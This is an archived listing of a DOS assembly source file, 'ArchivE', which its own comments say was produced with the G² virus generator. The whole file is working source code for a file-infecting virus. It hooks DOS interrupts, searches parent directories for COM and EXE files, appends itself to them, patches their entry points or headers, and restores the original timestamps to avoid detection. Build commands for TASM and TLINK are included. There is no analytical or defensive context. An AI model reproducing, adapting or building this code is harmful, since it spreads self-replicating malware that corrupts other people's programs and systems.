home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ARCHIVE.ASM < prev    next >
Assembly Source File  |  1996-05-29  |  10KB  |  318 lines

  1. ; Virus generated by G² 0.70ß
  2. ; G² written by Dark Angel of Phalcon/Skism
  3.                 
  4. ; File: ARCHIVE.ASM
  5. ;     <ArchivE> by <Gehenna>
  6.                 
  7. id              =       'FE'
  8.                 
  9.         .model  tiny
  10.         .code   
  11.                 
  12. ; Assemble with:
  13. ; TASM /m3 filename.ASM
  14. ; TLINK /t filename.OBJ
  15.         org     0100h
  16.                 
  17. carrier:
  18.         db      0E9h,0,0                ; jmp start
  19.                 
  20. start:
  21.         call    next
  22. next:
  23.         pop     bp
  24.         sub     bp, offset next
  25.                 
  26.         push    ds
  27.         push    es
  28.                 
  29.         mov     ax, 3524h
  30.         int     0021h
  31.         push    es
  32.         push    bx
  33.                 
  34.         lea     dx, [bp+INT24]          ; ASSumes ds=cs
  35.         mov     ax, 2524h
  36.         int     0021h
  37.                 
  38.         push    cs
  39.         pop     es
  40.                 
  41.                 
  42.         push    cs
  43.         pop     ds
  44.                 
  45.         push    cs
  46.         pop     es
  47.                 
  48.         mov     ah, 001Ah               ; Set DTA
  49.         lea     dx, [bp+offset newDTA]
  50.         int     0021h
  51.                 
  52.         mov     dl, 0000h               ; Default drive
  53.         mov     ah, 0047h               ; Get directory
  54.         lea     si, [bp+offset origdir+1]
  55.         int     0021h
  56.                 
  57.         push    ds
  58.         push    es
  59.                 
  60.         mov     ax, 3521h               ; get int 21h handler
  61.         int     0021h
  62.                 
  63.         push    es
  64.         pop     ds
  65.         xchg    bx, dx
  66.         mov     ax, 2503h               ; set int 3 = int 21h handler
  67.         int     0021h
  68.                 
  69.         pop     es
  70.         pop     ds
  71.         lea     di, [bp+offset origCSIP2]
  72.         lea     si, [bp+offset origCSIP]
  73.         movsw   
  74.         movsw   
  75.         movsw   
  76.         movsw   
  77.                 
  78.         mov     byte ptr [bp+numinfect], 0000h
  79. traverse_loop:
  80.         lea     dx, [bp+offset COMmask]
  81.         call    infect
  82.         lea     dx, [bp+offset EXEmask]
  83.         call    infect
  84.         cmp     [bp+numinfect], 0001h
  85.         jae     exit_traverse           ; exit if enough infected
  86.                 
  87.         mov     ah, 003Bh               ; CHDIR
  88.         lea     dx, [bp+offset dot_dot] ; go to previous dir
  89.         int     0003h
  90.         jnc     traverse_loop           ; loop if no error
  91.                 
  92. exit_traverse:
  93.                 
  94.         lea     si, [bp+offset origdir]
  95.         mov     byte ptr [si], '\'
  96.         xchg    dx, si
  97.         mov     ah, 003Bh               ; restore directory
  98.         int     0003h
  99.                 
  100.         pop     dx
  101.         pop     ds
  102.         mov     ax, 2524h
  103.         int     0003h
  104.                 
  105.         pop     ds
  106.         pop     es
  107.                 
  108.         mov     dx, 0080h               ; in the PSP
  109.         mov     ah, 001Ah               ; restore DTA to default
  110.         int     0003h
  111.                 
  112.         cmp     sp, id
  113.         je      restore_EXE
  114. restore_COM:
  115.         mov     di, 0100h
  116.         push    di
  117.         lea     si, [bp+offset old3_2]
  118.         mov     cx, 0003h               ; Caution: far from the most efficient
  119.         rep     movsb                   ; routine
  120. return:
  121.         ret     
  122.                 
  123. restore_EXE:
  124.         mov     ax, es
  125.         add     ax, 0010h
  126.         add     cs:[bp+word ptr origCSIP2+2], ax
  127.         add     ax, cs:[bp+word ptr origSPSS2]
  128.         cli     
  129.         mov     ss, ax
  130.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  131.         sti     
  132.         db      00EAh
  133. origCSIP2       db      ?
  134. old3_2          db      ?,?,?
  135. origSPSS2       dd      ?
  136.                 
  137. origCSIP        db      ?
  138. old3            db      0cdh,20h,0
  139. origSPSS        dd      ?
  140.                 
  141. INT24:
  142.         mov     al, 0003h
  143.         iret    
  144.                 
  145. infect:
  146.         mov     cx, 0007h               ; all files
  147.         mov     ah, 004Eh               ; find first
  148. findfirstnext:
  149.         int     0003h
  150.         jc      return
  151.                 
  152.         cmp     word ptr [bp+newDTA+33], 'AM' ; Check if COMMAND.COM
  153.         mov     ah, 004Fh               ; Set up find next
  154.         jz      findfirstnext           ; Exit if so
  155.                 
  156.         mov     ax, 4300h
  157.         lea     dx, [bp+newDTA+30]
  158.         int     0003h
  159.         jc      return
  160.         push    cx
  161.         push    dx
  162.                 
  163.         mov     ax, 4301h               ; clear file attributes
  164.         push    ax                      ; save for later use
  165.         xor     cx, cx
  166.         int     0003h
  167.                 
  168.         mov     ax, 3D02h
  169.         lea     dx, [bp+newDTA+30]
  170.         int     0003h
  171.         mov     bx, ax                  ; xchg ax,bx is more efficient
  172.                 
  173.         mov     ax, 5700h               ; get file time/date
  174.         int     0003h
  175.         push    cx
  176.         push    dx
  177.                 
  178.         mov     ah, 003Fh
  179.         mov     cx, 001Ah
  180.         lea     dx, [bp+offset readbuffer]
  181.         int     0003h
  182.                 
  183.         mov     ax, 4202h
  184.         xor     cx, cx
  185.         xor     dx, dx
  186.         int     0003h
  187.                 
  188.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  189.         jz      checkEXE
  190.                 
  191.         mov     cx, word ptr [bp+offset readbuffer+1] ; jmp location
  192.         add     cx, heap-start+3        ; convert to filesize
  193.         cmp     ax, cx                  ; equal if already infected
  194.         jz      jmp_close
  195.                 
  196.         cmp     ax, 65535-(endheap-start) ; check if too large
  197.         ja      jmp_close               ; Exit if so
  198.                 
  199.         lea     si, [bp+offset readbuffer]
  200.         lea     di, [bp+offset old3]
  201.         movsw   
  202.         movsb   
  203.                 
  204.         mov     cx, 0003h
  205.         sub     ax, cx
  206.         mov     word ptr [bp+offset readbuffer+1], ax
  207.         mov     dl, 00E9h
  208.         mov     byte ptr [bp+offset readbuffer], dl
  209.         jmp     short continue_infect
  210. checkEXE:
  211.         cmp     word ptr [bp+offset readbuffer+10h], id
  212.         jnz     skipp
  213. jmp_close:
  214.         jmp     close
  215. skipp:
  216.                 
  217.         lea     si, [bp+readbuffer+14h]
  218.         lea     di, [bp+origCSIP]
  219.         movsw                           ; Save original CS and IP
  220.         movsw   
  221.                 
  222.         sub     si, 000Ah
  223.         movsw                           ; Save original SS and SP
  224.         movsw   
  225.                 
  226.         push    bx                      ; save file handle
  227.         mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
  228.         mov     cl, 0004h
  229.         shl     bx, cl
  230.                 
  231.         push    dx                      ; Save file size on the
  232.         push    ax                      ; stack
  233.                 
  234.         sub     ax, bx                  ; File size - Header size
  235.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  236.                 
  237.         mov     cx, 0010h
  238.         div     cx                      ; DX:AX/CX = AX Remainder DX
  239.                 
  240.         mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  241.         mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
  242.         mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
  243.         mov     word ptr [bp+readbuffer+10h], id ; Initial SP
  244.                 
  245.         pop     ax                      ; Filelength in DX:AX
  246.         pop     dx
  247.                 
  248.         add     ax, heap-start
  249.         adc     dx, 0000h
  250.                 
  251.         mov     cl, 0009h
  252.         push    ax
  253.         shr     ax, cl
  254.         ror     dx, cl
  255.         stc     
  256.         adc     dx, ax
  257.         pop     ax
  258.         and     ah, 0001h
  259.                 
  260.         mov     word ptr [bp+readbuffer+2], ax ; the EXE header.
  261.         mov     word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
  262.                 
  263.         pop     bx                      ; restore file handle
  264.         mov     cx, 001Ah
  265.                 
  266. continue_infect:
  267.         push    cx                      ; save # bytes to write
  268.                 
  269.         mov     cx, heap-start
  270.         lea     dx, [bp+offset start]
  271.         mov     ah, 0040h               ; concatenate virus
  272.         int     0003h
  273.                 
  274.         xor     cx, cx
  275.         mov     ax, 4200h
  276.         cwd     
  277.         int     0003h
  278.                 
  279.                 
  280.         mov     ah, 0040h
  281.         pop     cx
  282.         lea     dx, [bp+offset readbuffer]
  283.         int     0003h
  284.                 
  285.         inc     [bp+numinfect]
  286.                 
  287. close:
  288.         mov     ax, 5701h               ; restore file time/date
  289.         pop     dx
  290.         pop     cx
  291.         int     0003h
  292.                 
  293.         mov     ah, 003Eh
  294.         int     0003h
  295.                 
  296.         pop     ax                      ; restore file attributes
  297.         pop     dx                      ; get filename and
  298.         pop     cx                      ; attributes from stack
  299.         int     0003h
  300.                 
  301.         mov     ah, 004Fh               ; find next
  302.         jmp     findfirstnext
  303.                 
  304. dot_dot         db      '..',0
  305. EXEmask         db      '*.EXE',0
  306. COMmask         db      '*.COM',0
  307. creator         db      '<Gehenna>',0
  308. virusname       db      '<ArchivE>',0
  309.  
  310.                 
  311. heap:
  312. newDTA          db      43 dup (?)
  313. origdir         db      65 dup (?)
  314. numinfect       db      ?
  315. readbuffer      db      1ah dup (?)
  316. endheap:
  317.         end     carrier
  318.